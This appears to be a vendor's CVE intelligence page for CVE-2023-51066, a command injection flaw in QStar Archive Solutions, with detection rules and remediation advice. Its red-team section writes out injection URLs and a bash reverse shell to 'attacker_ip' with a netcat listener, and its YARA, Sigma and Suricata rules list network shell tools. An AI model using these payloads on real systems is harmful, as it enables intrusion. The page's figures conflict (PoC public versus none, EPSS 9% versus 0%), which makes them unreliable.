☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-94
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-51066

CVE-2023-51066 Remote Code Execution in Qstar
📅 PUBLISHED: 2024-01-13 00:00 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 9.00%
👁️
9.00% probability
225.0× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: RELEASE_3-0 Build 7 Patch 0
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-51066 is an authenticated remote code execution vulnerability in QStar Archive Solutions, specifically in version RELEASE_3-0 Build 7 Patch 0. This flaw allows an authenticated attacker to execute arbitrary commands on the target system, potentially leading to full system compromise. The vulnerability resides in the application’s handling of user-supplied input, which is improperly sanitized before being passed to a system command interpreter. With a CVSS score of 0.0 (likely unassigned or placeholder), the actual severity is high due to the potential for complete system takeover. No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available from the vendor. The EPSS score of 0.0% indicates low exploitation activity in the wild, but the risk remains significant for organizations using this software.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the vulnerability description and typical characteristics of authenticated RCE, a reasonable CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N) – The attack can be launched remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – Authentication is required, but low-level privileges may suffice.
  • User Interaction (UI): None (N) – No user action is needed.
  • Scope (S): Unchanged (U) – The vulnerability does not affect other components.
  • Confidentiality (C): High (H) – Full system access can lead to data exposure.
  • Integrity (I): High (H) – Arbitrary command execution can modify system state.
  • Availability (A): High (H) – Commands can disrupt services.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 8.8 (High)

Threat Level: High – Authenticated RCE can lead to full system compromise, data exfiltration, and lateral movement.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw. QStar Archive Solutions likely uses a web interface or API that accepts user input (e.g., filenames, paths, or configuration parameters) and passes it unsanitized to a system shell (e.g., exec(), system(), or popen()). An authenticated attacker can inject shell metacharacters (e.g., ;, |, &&, `) to execute arbitrary commands.

Attack Flow:

  1. Attacker authenticates to the QStar Archive Solutions web interface or API.
  2. Attacker identifies an input field that is processed by a server-side command (e.g., file search, backup, or restore functionality).
  3. Attacker injects a payload such as ; id or | whoami into the input.
  4. The application executes the crafted command, returning the output to the attacker.
  5. Attacker escalates to a reverse shell or performs further exploitation.

Root Cause: Lack of input validation and sanitization before passing data to a shell interpreter. The application should use parameterized APIs or escape shell metacharacters.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (Conceptual):

import subprocess

def execute_backup(user_input):
    command = "backup_tool --path " + user_input
    result = subprocess.check_output(command, shell=True)
    return result

Patched Code (Conceptual):

import subprocess
import shlex

def execute_backup(user_input):
    safe_input = shlex.quote(user_input)
    command = ["backup_tool", "--path", safe_input]
    result = subprocess.check_output(command, shell=False)
    return result

The patched version uses shlex.quote() to escape shell metacharacters and avoids shell=True to prevent command injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  • Target: QStar Archive Solutions RELEASE_3-0 Build 7 Patch 0 (virtual machine or container).
  • Attacker: Kali Linux with netcat, Metasploit, or custom scripts.

Exploitation Steps:

  1. Authenticate to the web interface (e.g., http://target:8080/login).
  2. Identify a vulnerable endpoint (e.g., /backup?path=).
  3. Inject a command:
    http://target:8080/backup?path=/tmp;id
    
  4. Observe output (e.g., uid=1000(qstar) gid=1000(qstar)).
  5. Establish a reverse shell:
    http://target:8080/backup?path=/tmp;bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'
    
  6. On attacker machine: nc -lvnp 4444

No public exploit code is available; this is a conceptual demonstration.

Blue Team (Defensive)

Detection:

  • Monitor for unusual shell metacharacters in HTTP requests (e.g., ;, |, &, `).
  • Alert on commands like id, whoami, bash, nc, python in web logs.
  • Use WAF rules to block command injection patterns.

Hunting:

  • Search for processes spawned by the QStar service that are not typical (e.g., bash, sh, cmd.exe).
  • Review authentication logs for unusual access patterns.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound connections to attacker IPs on high ports (e.g., 4444, 1337).
    • HTTP requests containing shell metacharacters (e.g., ;id, |whoami).
  • Host:
    • Unexpected processes: bash, sh, nc, python, perl.
    • Files in /tmp or /var/tmp with suspicious names (e.g., exploit.sh).
    • Modified system binaries or cron jobs.
  • Logs:
    • Web server logs showing 400 or 500 errors after injection attempts.
    • System logs showing command execution from the QStar service user.

Detection Engineering

YARA Rule

rule CVE_2023_51066_QStar_RCE {
    meta:
        description = "Detects command injection attempts against QStar Archive Solutions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-51066"
    strings:
        $cmd1 = /[;&|`]\s*(id|whoami|cat|bash|sh|nc|python|perl|wget|curl)/i
        $cmd2 = /(exec|system|popen|shell_exec)\s*\(/i
    condition:
        any of them
}

Sigma Rule

title: QStar Archive Solutions Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with command injection patterns targeting QStar Archive Solutions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - ';id'
            - '|whoami'
            - '`id`'
            - '&&id'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in parameters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-51066 QStar Archive Solutions Command Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/backup?path="; http_uri; pcre:"/[;&|`]\s*(id|whoami|cat|bash|sh|nc|python|perl|wget|curl)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected systems from the network if possible.
  2. Apply strict input validation and sanitization on all user-supplied data.
  3. Disable shell execution functions in the application if not required.
  4. Monitor logs for exploitation attempts.

Long-term Fix:

  • Vendor must release a patch that uses parameterized APIs and avoids shell=True.
  • Implement a Web Application Firewall (WAF) with command injection rules.
  • Conduct a security audit of the application code.

Workarounds:

  • Restrict access to the QStar web interface via firewall rules (allow only trusted IPs).
  • Use a reverse proxy to filter malicious requests.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

QStar Archive Solutions
QStar RELEASE_3-0

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-51066/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.